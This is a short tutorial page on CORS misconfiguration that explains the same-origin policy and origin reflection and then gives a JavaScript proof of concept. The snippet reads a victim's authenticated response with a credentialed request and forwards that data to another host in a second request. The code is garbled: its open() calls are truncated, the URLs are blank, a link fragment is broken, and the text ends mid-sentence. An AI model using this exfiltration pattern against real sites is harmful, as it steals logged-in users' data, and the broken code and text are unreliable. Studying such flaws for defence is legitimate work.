Skip to content


  • Cross origin resource sharing
  • This can used to retrieve data from API/websites which shouldn't be able to access the legit website.
  • Meaning an attacker might be able to show some data with some evil stuff on/from the legit website.

What is SOP?

Same origin policy prevents:

  • JavaScript on Site A from reading the cookies of Site B.
  • JavaScript on Site A from reading the content of Site B.

The browser will send a request with an Origin header and the server can decide whether or not it should allow this request. The server can allow the browser to make CORS request by responding with the header Access-Control-Allow-Origin: and a list of hostnames. By default, the browser will send unauthenticated requests unless the server told it not to using Access-Control-Allow-Credentials: true.

But the vulnerability arises when server respond with Access-Control-Allow-Origin: *

  • Sometime what happens that websites return the origin header as the Access-Control-Allow-Origin, because simplicity developer had decided to not maintain any white list.


So test with the headers and see if you can get the server to display your []( in the Access-Control-Allow-Origin header.

            var xhr = new XMLHttpRequest();
  "POST", "", false);
            xhr.withCredentials = true;

            var a=xhr.responseText;

            var xhr2 = new XMLHttpRequest();
  "GET", ""+a,false);

This is the example in which we